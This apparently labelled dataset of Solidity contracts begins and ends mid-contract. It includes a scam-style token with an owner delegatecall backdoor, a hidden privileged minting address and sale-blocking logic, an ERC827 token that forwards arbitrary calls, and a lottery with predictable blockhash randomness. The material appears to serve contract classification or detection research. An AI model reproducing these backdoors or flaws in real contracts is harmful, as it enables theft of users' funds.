function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 604 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract DAOToken is ERC827Token, MintableToken, BurnableToken {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint public cap;
function DAOToken(string _name, string _symbol,uint _cap) public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
if (cap > 0)
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
} | 1 | 4,657 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface ERC20_Interface {
function totalSupply() external constant returns (uint);
function balanceOf(address _owner) external constant returns (uint);
function transfer(address _to, uint _amount) external returns (bool);
function transferFrom(address _from, address _to, uint _amount) external returns (bool);
function approve(address _spender, uint _amount) external returns (bool);
function allowance(address _owner, address _spender) external constant returns (uint);
}
contract Exchange{
using SafeMath for uint256;
address public owner;
struct Order {
address maker;
uint price;
uint amount;
address asset;
}
struct ListAsset {
uint price;
uint amount;
}
mapping(address => ListAsset) public listOfAssets;
mapping(uint256 => Order) public orders;
mapping(address => uint256[]) public forSale;
mapping(uint256 => uint256) internal forSaleIndex;
address[] public openBooks;
mapping (address => uint) internal openBookIndex;
mapping(address => uint[]) public userOrders;
mapping(uint => uint) internal userOrderIndex;
mapping(address => bool) internal blacklist;
uint internal order_nonce;
event OrderPlaced(address _sender,address _token, uint256 _amount, uint256 _price);
event Sale(address _sender,address _token, uint256 _amount, uint256 _price);
event OrderRemoved(address _sender,address _token, uint256 _amount, uint256 _price);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public{
owner = msg.sender;
openBooks.push(address(0));
order_nonce = 1;
}
function list(address _tokenadd, uint256 _amount, uint256 _price) external {
require(blacklist[msg.sender] == false);
require(_price > 0);
ERC20_Interface token = ERC20_Interface(_tokenadd);
require(token.allowance(msg.sender,address(this)) >= _amount);
if(forSale[_tokenadd].length == 0){
forSale[_tokenadd].push(0);
}
forSaleIndex[order_nonce] = forSale[_tokenadd].length;
forSale[_tokenadd].push(order_nonce);
orders[order_nonce] = Order({
maker: msg.sender,
asset: _tokenadd,
price: _price,
amount:_amount
});
emit OrderPlaced(msg.sender,_tokenadd,_amount,_price);
if(openBookIndex[_tokenadd] == 0 ){
openBookIndex[_tokenadd] = openBooks.length;
openBooks.push(_tokenadd);
}
userOrderIndex[order_nonce] = userOrders[msg.sender].length;
userOrders[msg.sender].push(order_nonce);
order_nonce += 1;
}
function listDda(address _asset, uint256 _amount, uint256 _price) public onlyOwner() {
require(blacklist[msg.sender] == false);
ListAsset storage listing = listOfAssets[_asset];
listing.price = _price;
listing.amount= _amount;
}
function buyPerUnit(address _asset, uint256 _amount) external payable {
require(blacklist[msg.sender] == false);
ListAsset storage listing = listOfAssets[_asset];
require(_amount <= listing.amount);
require(msg.value == _amount.mul(listing.price));
listing.amount= listing.amount.sub(_amount);
}
function unlist(uint256 _orderId) external{
require(forSaleIndex[_orderId] > 0);
Order memory _order = orders[_orderId];
require(msg.sender== _order.maker || msg.sender == owner);
unLister(_orderId,_order);
emit OrderRemoved(msg.sender,_order.asset,_order.amount,_order.price);
}
function buy(uint256 _orderId) external payable {
Order memory _order = orders[_orderId];
require(_order.price != 0 && _order.maker != address(0) && _order.asset != address(0) && _order.amount != 0);
require(msg.value == _order.price);
require(blacklist[msg.sender] == false);
address maker = _order.maker;
ERC20_Interface token = ERC20_Interface(_order.asset);
if(token.allowance(_order.maker,address(this)) >= _order.amount){
assert(token.transferFrom(_order.maker,msg.sender, _order.amount));
maker.transfer(_order.price);
}
unLister(_orderId,_order);
emit Sale(msg.sender,_order.asset,_order.amount,_order.price);
}
function getOrder(uint256 _orderId) external view returns(address,uint,uint,address){
Order storage _order = orders[_orderId];
return (_order.maker,_order.price,_order.amount,_order.asset);
}
function setOwner(address _owner) public onlyOwner() {
owner = _owner;
}
function blacklistParty(address _address, bool _motion) public onlyOwner() {
blacklist[_address] = _motion;
}
function isBlacklist(address _address) public view returns(bool) {
return blacklist[_address];
}
function getOrderCount(address _token) public constant returns(uint) {
return forSale[_token].length;
}
function getBookCount() public constant returns(uint) {
return openBooks.length;
}
function getOrders(address _token) public constant returns(uint[]) {
return forSale[_token];
}
function getUserOrders(address _user) public constant returns(uint[]) {
return userOrders[_user];
}
function unLister(uint256 _orderId, Order _order) internal{
uint256 tokenIndex;
uint256 lastTokenIndex;
address lastAdd;
uint256 lastToken;
if(forSale[_order.asset].length == 2){
tokenIndex = openBookIndex[_order.asset];
lastTokenIndex = openBooks.length.sub(1);
lastAdd = openBooks[lastTokenIndex];
openBooks[tokenIndex] = lastAdd;
openBookIndex[lastAdd] = tokenIndex;
openBooks.length--;
openBookIndex[_order.asset] = 0;
forSale[_order.asset].length -= 2;
}
else{
tokenIndex = forSaleIndex[_orderId];
lastTokenIndex = forSale[_order.asset].length.sub(1);
lastToken = forSale[_order.asset][lastTokenIndex];
forSale[_order.asset][tokenIndex] = lastToken;
forSaleIndex[lastToken] = tokenIndex;
forSale[_order.asset].length--;
}
forSaleIndex[_orderId] = 0;
orders[_orderId] = Order({
maker: address(0),
price: 0,
amount:0,
asset: address(0)
});
if(userOrders[_order.maker].length > 1){
tokenIndex = userOrderIndex[_orderId];
lastTokenIndex = userOrders[_order.maker].length.sub(1);
lastToken = userOrders[_order.maker][lastTokenIndex];
userOrders[_order.maker][tokenIndex] = lastToken;
userOrderIndex[lastToken] = tokenIndex;
}
userOrders[_order.maker].length--;
userOrderIndex[_orderId] = 0;
}
} | 1 | 4,038 |
pragma solidity ^0.5.1;
contract SmartLotto {
using SafeMath for uint;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address payable addr;
uint ticket;
uint8[5] numbers;
uint8 matchNumbers;
uint prize;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 12;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event WinPrize(uint _gamenum, uint _ticket, uint _prize, uint8 _match);
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
return;
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
return;
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
return;
}
function startGame() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(weekday == 7 && hour == 9) {
if(games[GAME_NUM].status == 1) {
processGame();
}
} else {
games[GAME_NUM].status = 1;
}
}
return;
}
function processGame() private {
uint8 mn = 0;
uint winners5 = 0;
uint winners4 = 0;
uint winners3 = 0;
uint winners2 = 0;
uint fund4 = 0;
uint fund3 = 0;
uint fund2 = 0;
for(uint8 i = 0; i < 5; i++) {
games[GAME_NUM].win_numbers[i] = random(i);
}
games[GAME_NUM].win_numbers = sortNumbers(games[GAME_NUM].win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i+1; j < 5; j++) {
if(games[GAME_NUM].win_numbers[i] == games[GAME_NUM].win_numbers[j]) {
games[GAME_NUM].win_numbers[j]++;
}
}
}
uint8[5] memory win_numbers;
win_numbers = games[GAME_NUM].win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
if(games[GAME_NUM].membersCounter > 0) {
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
mn = findMatch(games[GAME_NUM].win_numbers, games[GAME_NUM].members[i].numbers);
games[GAME_NUM].members[i].matchNumbers = mn;
if(mn == 5) {
winners5++;
}
if(mn == 4) {
winners4++;
}
if(mn == 3) {
winners3++;
}
if(mn == 2) {
winners2++;
}
}
JACKPOT = JACKPOT + games[GAME_NUM].totalFund * PERCENT_FUND_JACKPOT / 100;
fund4 = games[GAME_NUM].totalFund * PERCENT_FUND_4 / 100;
fund3 = games[GAME_NUM].totalFund * PERCENT_FUND_3 / 100;
fund2 = games[GAME_NUM].totalFund * PERCENT_FUND_2 / 100;
if(winners4 == 0) {
JACKPOT = JACKPOT + fund4;
}
if(winners3 == 0) {
JACKPOT = JACKPOT + fund3;
}
if(winners2 == 0) {
JACKPOT = JACKPOT + fund2;
}
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
if(games[GAME_NUM].members[i].matchNumbers == 5) {
games[GAME_NUM].members[i].prize = JACKPOT / winners5;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 5);
}
if(games[GAME_NUM].members[i].matchNumbers == 4) {
games[GAME_NUM].members[i].prize = fund4 / winners4;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 4);
}
if(games[GAME_NUM].members[i].matchNumbers == 3) {
games[GAME_NUM].members[i].prize = fund3 / winners3;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 3);
}
if(games[GAME_NUM].members[i].matchNumbers == 2) {
games[GAME_NUM].members[i].prize = fund2 / winners2;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 2);
}
if(games[GAME_NUM].members[i].matchNumbers == 1) {
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 1);
}
}
if(winners5 != 0) {
JACKPOT = 0;
start_jackpot_amount = 0;
}
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 0;
emit NewGame(GAME_NUM);
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
return;
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && (weekday != 7 || (weekday == 7 && (hour < 8 || hour > 11 ))) ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(!err) {
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
games[GAME_NUM].members[mbrCnt].matchNumbers = 0;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length-1; i++) {
for(uint8 j = i+1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8(uint(blockhash(block.number - 1 - num*2)) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint, uint8, uint8, uint8, uint8, uint8, uint8) {
Game memory game = games[i];
return (game.datetime, game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.matchNumbers, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,349 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function claim() public {
require(msg.sender == beneficiary);
release();
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract AidCoin is MintableToken, BurnableToken {
string public name = "AidCoin";
string public symbol = "AID";
uint256 public decimals = 18;
uint256 public maxSupply = 100000000 * (10 ** decimals);
function AidCoin() public {
}
modifier canTransfer(address _from, uint _value) {
require(mintingFinished);
_;
}
